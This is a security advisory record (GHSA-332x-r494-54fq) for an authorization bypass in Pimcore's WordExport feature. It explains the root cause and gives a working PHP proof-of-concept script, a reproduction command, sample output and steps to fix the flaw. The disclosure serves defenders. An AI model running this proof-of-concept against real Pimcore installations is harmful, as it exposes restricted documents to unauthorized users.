{"id":"GHSA-332x-r494-54fq","summary":"Pimcore has a WordExport Authorization Bypass for Unauthorized Document Export","details":"### Summary\n\nThe `WordExport` export flow only checks whether the current backend user has the feature permission `word_export`. It does not verify access rights on the target element itself.  \nAs a result, a low-privileged backend user can export document content even when the user does not have `view` permission on that document.\n\nIn the local Docker reproduction, a low-privileged user successfully exported sensitive content from a page the user was not allowed to view:\n\n- `POC-WORDEXPORT-TITLE`\n- `POC-WORDEXPORT-DESC`\n\n### Root Cause\n\nThe controller only performs a feature-level permission check before starting the export flow:\n\n- [[TranslationController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L41)](pimcore-12.3.3/bundles/WordExportBundle/src/Controller/[TranslationController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L44)#L41)\n- [TranslationController.php](pimcore-12.3.3/bundles/WordExportBundle/src/Controller/[TranslationController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L56)#L44)\n\nIt then directly resolves the target element from attacker-controlled `type/id` input:\n\n- [[TranslationController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L58)](pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L56)\n- [[TranslationController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L72)](pimcore-12.3.3/bundles/WordExportBundle/src/Controller/[TranslationController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L113)#L58)\n\nFor document-like elements such as `Page` and `Snippet`, it renders content in an admin context:\n\n- [[TranslationController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L114)](pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L72)\n- [TranslationController.php](pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L113)\n- [TranslationController.php](pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L114)\n\nNo object-level authorization check such as `isAllowed('view')` is enforced on the target element.\n\n### Affected Scope\n\nBased on the source code, the following element types may be affected:\n\n- `page`\n- `snippet`\n- `email`\n- `object`\n\nFor page-like documents, the `pimcore_admin = true` rendering context may expose additional backend-visible content.\n\n### Preconditions\n\n- The attacker is an authenticated backend user\n- The attacker has the `word_export` permission\n- The attacker does not have `view` permission on the target document\n\n### Reproduction Environment\n\n- Reproduction root: `pimcore-12.3.3-repro`\n- Standalone PoC script: [[poc_wordexport.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3-repro/tools/poc_wordexport.php)](pimcore-12.3.3-repro/tools/poc_wordexport.php)\n\n```php\n\u003c?php\ndeclare(strict_types=1);\n\nuse Pimcore\\Bundle\\WordExportBundle\\Controller\\TranslationController as WordExportController;\nuse Pimcore\\Controller\\UserAwareController;\nuse Pimcore\\Model\\Document\\Page;\nuse Pimcore\\Model\\User;\nuse Pimcore\\Security\\User\\TokenStorageUserResolver;\nuse Pimcore\\Security\\User\\User as SecurityUser;\nuse Pimcore\\Serializer\\Serializer as PimcoreSerializer;\nuse Pimcore\\Tool\\Authentication;\nuse Symfony\\Component\\DependencyInjection\\ContainerInterface;\nuse Symfony\\Component\\Filesystem\\Filesystem;\nuse Symfony\\Component\\HttpFoundation\\Request;\nuse Symfony\\Component\\HttpFoundation\\RequestStack;\nuse Symfony\\Component\\Security\\Core\\Authentication\\Token\\UsernamePasswordToken;\nuse Symfony\\Component\\Security\\Core\\Authentication\\Token\\Storage\\TokenStorage;\n\nrequire dirname(__DIR__) . '/vendor/autoload.php';\n\ndefine('PIMCORE_PROJECT_ROOT', dirname(__DIR__));\n\ntry {\n    \\Pimcore\\Bootstrap::bootstrap();\n\n    $kernel = new \\App\\Kernel('dev', true);\n    \\Pimcore::setKernel($kernel);\n    $kernel-\u003eboot();\n\n    $container = $kernel-\u003egetContainer();\n\n    /** @var RequestStack $requestStack */\n    $requestStack = getService($container, [\n        RequestStack::class,\n        'request_stack',\n    ]);\n\n    $admin = User::getByName('admin');\n    if (!$admin instanceof User) {\n        fail('admin user is missing');\n    }\n\n    $auditor = User::getByName('auditor_wordexport');\n    if (!$auditor instanceof User) {\n        $auditor = new User();\n        $auditor-\u003esetParentId(0);\n        $auditor-\u003esetName('auditor_wordexport');\n    }\n\n    $auditor-\u003esetAdmin(false);\n    $auditor-\u003esetActive(true);\n    $auditor-\u003esetPassword(Authentication::getPasswordHash('auditor_wordexport', 'auditor-pass'));\n    $auditor-\u003esetPermissions(['word_export']);\n    $auditor-\u003esetRoles([]);\n    $auditor-\u003esetWorkspacesDocument([]);\n    $auditor-\u003esetWorkspacesAsset([]);\n    $auditor-\u003esetWorkspacesObject([]);\n    $auditor-\u003esave();\n\n    $page = Page::getByPath('/poc-wordexport-secret-page');\n    if (!$page instanceof Page) {\n        $page = new Page();\n        $page-\u003esetParentId(1);\n        $page-\u003esetKey('poc-wordexport-secret-page');\n    }\n\n    $page-\u003esetPublished(true);\n    $page-\u003esetController('App\\\\Controller\\\\DefaultController::defaultAction');\n    $page-\u003esetTemplate('default/default.html.twig');\n    $page-\u003esetTitle('POC-WORDEXPORT-TITLE');\n    $page-\u003esetDescription('POC-WORDEXPORT-DESC');\n    $page-\u003esetProperty('language', 'text', 'en', false, true);\n    $page-\u003esetUserOwner($admin-\u003egetId());\n    $page-\u003esetUserModification($admin-\u003egetId());\n    $page-\u003esave();\n\n    $canViewPage = $page-\u003egetDao()-\u003eisAllowed('view', $auditor);\n\n    $tokenResolver = buildTokenResolver($auditor);\n    $controller = wireController(new WordExportController(), $container, $tokenResolver);\n\n    $exportId = 'wordexportpoc1';\n    $exportRequest = new Request([], [\n        'id' =\u003e $exportId,\n        'data' =\u003e json_encode([\n            ['type' =\u003e 'document', 'id' =\u003e $page-\u003egetId()],\n        ], JSON_THROW_ON_ERROR),\n        'source' =\u003e 'en',\n    ]);\n\n    $requestStack-\u003epush($exportRequest);\n    $controller-\u003ewordExportAction($exportRequest, new Filesystem());\n    $requestStack-\u003epop();\n\n    $downloadRequest = new Request(['id' =\u003e $exportId]);\n    $requestStack-\u003epush($downloadRequest);\n    $downloadResponse = $controller-\u003ewordExportDownloadAction($downloadRequest);\n    $requestStack-\u003epop();\n\n    $wordContent = (string) $downloadResponse-\u003egetContent();\n\n    echo json_encode([\n        'vulnerability' =\u003e 'wordexport_authorization_bypass',\n        'user' =\u003e [\n            'id' =\u003e $auditor-\u003egetId(),\n            'name' =\u003e $auditor-\u003egetName(),\n            'permissions' =\u003e $auditor-\u003egetPermissions(),\n        ],\n        'target_page' =\u003e [\n            'id' =\u003e $page-\u003egetId(),\n            'path' =\u003e $page-\u003egetFullPath(),\n            'title' =\u003e $page-\u003egetTitle(),\n            'description' =\u003e $page-\u003egetDescription(),\n            'user_can_view_page' =\u003e $canViewPage,\n        ],\n        'result' =\u003e [\n            'download_contains_title' =\u003e str_contains($wordContent, 'POC-WORDEXPORT-TITLE'),\n            'download_contains_description' =\u003e str_contains($wordContent, 'POC-WORDEXPORT-DESC'),\n        ],\n    ], JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES), PHP_EOL;\n} catch (Throwable $e) {\n    fail(sprintf(\n        '%s: %s in %s:%d%s',\n        $e::class,\n        $e-\u003egetMessage(),\n        $e-\u003egetFile(),\n        $e-\u003egetLine(),\n        $e-\u003egetTraceAsString() ? PHP_EOL . $e-\u003egetTraceAsString() : ''\n    ));\n}\n\nfunction wireController(\n    UserAwareController $controller,\n    ContainerInterface $container,\n    TokenStorageUserResolver $tokenResolver\n): UserAwareController\n{\n    $controller-\u003esetContainer($container);\n    $controller-\u003esetTokenResolver($tokenResolver);\n\n    if (method_exists($controller, 'setPimcoreSerializer')) {\n        /** @var PimcoreSerializer $serializer */\n        $serializer = getService($container, [\n            PimcoreSerializer::class,\n            'Pimcore\\\\Serializer\\\\Serializer',\n        ]);\n        $controller-\u003esetPimcoreSerializer($serializer);\n    }\n\n    return $controller;\n}\n\nfunction buildTokenResolver(User $user): TokenStorageUserResolver\n{\n    $tokenStorage = new TokenStorage();\n    $proxyUser = new SecurityUser($user);\n    $token = new UsernamePasswordToken($proxyUser, 'pimcore_admin', $proxyUser-\u003egetRoles());\n    $tokenStorage-\u003esetToken($token);\n\n    return new TokenStorageUserResolver($tokenStorage);\n}\n\nfunction getService(ContainerInterface $container, array $ids): mixed\n{\n    foreach ($ids as $id) {\n        try {\n            if ($container-\u003ehas($id)) {\n                return $container-\u003eget($id);\n            }\n        } catch (Throwable) {\n        }\n    }\n\n    fail('Unable to resolve service: ' . implode(', ', $ids));\n}\n\nfunction fail(string $message): never\n{\n    fwrite(STDERR, $message . PHP_EOL);\n    exit(1);\n}\n\n```\n\n\n\n### Reproduction Steps\n\n1. Create a low-privileged user named `auditor_wordexport` with only the `word_export` permission and no document workspace permissions.\n2. Create a test page at `/poc-wordexport-secret-page` containing sensitive values:\n   - `title = POC-WORDEXPORT-TITLE`\n   - `description = POC-WORDEXPORT-DESC`\n3. Verify that the user does not have `view` permission on that page.\n4. Execute `wordExportAction()` and `wordExportDownloadAction()` as that user.\n5. Check whether the exported HTML contains the sensitive values.\n\nReproduction command:\n\n```bash\ncd pimcore-12.3.3-repro\ndocker compose exec -T php php tools/poc_wordexport.php\n```\n\n### Reproduction Result\n\nRelevant PoC output:\n\n```json\n{\n  \"vulnerability\": \"wordexport_authorization_bypass\",\n  \"user\": {\n    \"name\": \"auditor_wordexport\",\n    \"permissions\": [\n      \"word_export\"\n    ]\n  },\n  \"target_page\": {\n    \"path\": \"/poc-wordexport-secret-page\",\n    \"title\": \"POC-WORDEXPORT-TITLE\",\n    \"description\": \"POC-WORDEXPORT-DESC\",\n    \"user_can_view_page\": false\n  },\n  \"result\": {\n    \"download_contains_title\": true,\n    \"download_contains_description\": true\n  }\n}\n```\n\nThis shows that:\n\n- The user cannot view the target page\n- The exported file still contains the page's sensitive content\n\nThis confirms that the issue is practically exploitable.\n\n### Security Impact\n\n- Unauthorized disclosure of structured page fields\n- Unauthorized export of restricted backend content\n- Potential exposure of unpublished or otherwise restricted content\n- Lateral data access by low-privileged backend accounts\n\n### Remediation\n\n1. Perform object-level authorization immediately after resolving the element from `type/id`.\n2. Require at least `view` permission on the target element.\n3. Apply consistent authorization checks across `page`, `snippet`, `email`, and `object`.\n4. Bind export creation and export download to the requesting user or an equivalent authorization context.\n5. Add regression tests to ensure that users with `word_export` but without element `view` permission cannot export content.","aliases":["CVE-2026-45703"],"modified":"2026-07-10T19:15:11.892661593Z","published":"2026-05-27T22:27:18Z","database_specific":{"cwe_ids":["CWE-863"],"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2026-05-27T22:27:18Z","nvd_published_at":null},"references":[{"type":"WEB","url":"https://github.com/pimcore/pimcore/security/advisories/GHSA-332x-r494-54fq"},{"type":"WEB","url":"https://github.com/pimcore/pimcore/pull/19112"},{"type":"WEB","url":"https://github.com/pimcore/pimcore/commit/0ce2232b6f92c79d0ac244e95e21f55c37456ef1"},{"type":"PACKAGE","url":"https://github.com/pimcore/pimcore"},{"type":"WEB","url":"https://github.com/pimcore/pimcore/releases/tag/v12.3.7"}],"affected":[{"package":{"name":"pimcore/pimcore","ecosystem":"Packagist","purl":"pkg:composer/pimcore/pimcore"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"12.0.0-RC1"},{"fixed":"12.3.7"}]}],"versions":["v12.0.0","v12.0.0-RC1","v12.0.0-RC2","v12.0.1","v12.0.2","v12.0.3","v12.0.4","v12.1.0","v12.1.1","v12.1.2","v12.1.3","v12.1.4","v12.1.5","v12.2.0","v12.2.1","v12.2.2","v12.2.3","v12.2.4","v12.3.0","v12.3.1","v12.3.1.1","v12.3.2","v12.3.3","v12.3.4","v12.3.5","v12.3.6"],"database_specific":{"last_known_affected_version_range":"\u003c= 12.3.6","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-332x-r494-54fq/GHSA-332x-r494-54fq.json"}},{"package":{"name":"pimcore/pimcore","ecosystem":"Packagist","purl":"pkg:composer/pimcore/pimcore"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"11.5.17"}]}],"versions":["10.0.8","2.2.0","2.2.1","2.2.2","2.3.0","3.0.0","3.0.1","3.0.2","3.0.3","3.0.4","3.0.5","3.0.6","3.1.0","3.1.1","4.0.0","4.0.1","4.1.0","4.1.1","4.1.2","4.1.3","4.2.0","4.3.0","4.3.1","4.4.0","4.4.1","4.4.2","4.4.3","4.5.0","4.6.0","4.6.1","4.6.2","4.6.3","4.6.4","4.6.5","v10.0.0","v10.0.0-BETA1","v10.0.0-BETA2","v10.0.0-BETA3","v10.0.0-BETA4","v10.0.1","v10.0.2","v10.0.3","v10.0.4","v10.0.5","v10.0.6","v10.0.7","v10.0.9","v10.1.0","v10.1.1","v10.1.2","v10.1.3","v10.1.4","v10.1.5","v10.2.0","v10.2.1","v10.2.10","v10.2.2","v10.2.3","v10.2.4","v10.2.5","v10.2.6","v10.2.7","v10.2.8","v10.2.9","v10.3.0","v10.3.1","v10.3.2","v10.3.3","v10.3.4","v10.3.5","v10.3.6","v10.3.7","v10.4.0","v10.4.1","v10.4.2","v10.4.3","v10.4.4","v10.4.5","v10.4.6","v10.5.0","v10.5.1","v10.5.10","v10.5.11","v10.5.12","v10.5.13","v10.5.14","v10.5.15","v10.5.16","v10.5.17","v10.5.18","v10.5.19","v10.5.2","v10.5.20","v10.5.21","v10.5.22","v10.5.23","v10.5.24","v10.5.25","v10.5.3","v10.5.4","v10.5.5","v10.5.6","v10.5.7","v10.5.8","v10.5.9","v10.6.0","v10.6.1","v10.6.2","v10.6.3","v10.6.4","v10.6.5","v10.6.6","v10.6.7","v10.6.8","v10.6.9","v11.0.0","v11.0.0-ALPHA1","v11.0.0-ALPHA2","v11.0.0-ALPHA3","v11.0.0-ALPHA4","v11.0.0-ALPHA5","v11.0.0-ALPHA6","v11.0.0-ALPHA7","v11.0.0-ALPHA8","v11.0.0-BETA1","v11.0.0-RC1","v11.0.0-RC2","v11.0.1","v11.0.10","v11.0.11","v11.0.12","v11.0.2","v11.0.3","v11.0.4","v11.0.5","v11.0.6","v11.0.7","v11.0.8","v11.0.9","v11.1.0","v11.1.0-RC1","v11.1.1","v11.1.2","v11.1.3","v11.1.4","v11.1.5","v11.1.6","v11.2.0","v11.2.1","v11.2.2","v11.2.3","v11.2.4","v11.2.5","v11.2.6","v11.2.7","v11.3.0","v11.3.0-RC1","v11.3.0-RC2","v11.3.1","v11.3.2","v11.3.3","v11.4.0","v11.4.0-RC1","v11.4.1","v11.4.2","v11.4.3","v11.4.4","v11.5.0","v11.5.0-RC1","v11.5.0-RC2","v11.5.1","v11.5.10","v11.5.11","v11.5.12","v11.5.13","v11.5.14","v11.5.14.1","v11.5.2","v11.5.3","v11.5.4","v11.5.5","v11.5.6","v11.5.7","v11.5.8","v11.5.9","v5.0.0","v5.0.0-RC","v5.0.1","v5.0.2","v5.0.3","v5.0.4","v5.1.0","v5.1.0-alpha","v5.1.1","v5.1.2","v5.1.3","v5.2.0","v5.2.1","v5.2.2","v5.2.3","v5.3.0","v5.3.1","v5.4.0","v5.4.1","v5.4.2","v5.4.3","v5.4.4","v5.5.0","v5.5.1","v5.5.2","v5.5.3","v5.5.4","v5.6.0","v5.6.1","v5.6.2","v5.6.3","v5.6.4","v5.6.5","v5.6.6","v5.7.0","v5.7.1","v5.7.2","v5.7.3","v5.8.0","v5.8.1","v5.8.2","v5.8.3","v5.8.4","v5.8.5","v5.8.6","v5.8.7","v5.8.8","v5.8.9","v6.0.0","v6.0.1","v6.0.2","v6.0.3","v6.0.4","v6.0.5","v6.1.0","v6.1.1","v6.1.2","v6.2.0","v6.2.1","v6.2.2","v6.2.3","v6.3.0","v6.3.1","v6.3.2","v6.3.3","v6.3.4","v6.3.5","v6.3.6","v6.4.0","v6.4.1","v6.4.2","v6.5.0","v6.5.1","v6.5.2","v6.5.3","v6.6.0","v6.6.1","v6.6.10","v6.6.11","v6.6.2","v6.6.3","v6.6.4","v6.6.5","v6.6.6","v6.6.7","v6.6.8","v6.6.9","v6.7.0","v6.7.1","v6.7.2","v6.7.3","v6.8.0","v6.8.1","v6.8.10","v6.8.11","v6.8.12","v6.8.2","v6.8.3","v6.8.4","v6.8.5","v6.8.6","v6.8.7","v6.8.8","v6.8.9","v6.9.0","v6.9.1","v6.9.2","v6.9.3","v6.9.4","v6.9.5","v6.9.6"],"database_specific":{"last_known_affected_version_range":"\u003c= 11.5.16","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-332x-r494-54fq/GHSA-332x-r494-54fq.json"}},{"package":{"name":"pimcore/pimcore","ecosystem":"Packagist","purl":"pkg:composer/pimcore/pimcore"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2026.1.0"},{"fixed":"2026.1.3"}]}],"versions":["v2026.1.0","v2026.1.1","v2026.1.2"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-332x-r494-54fq/GHSA-332x-r494-54fq.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:L"}]}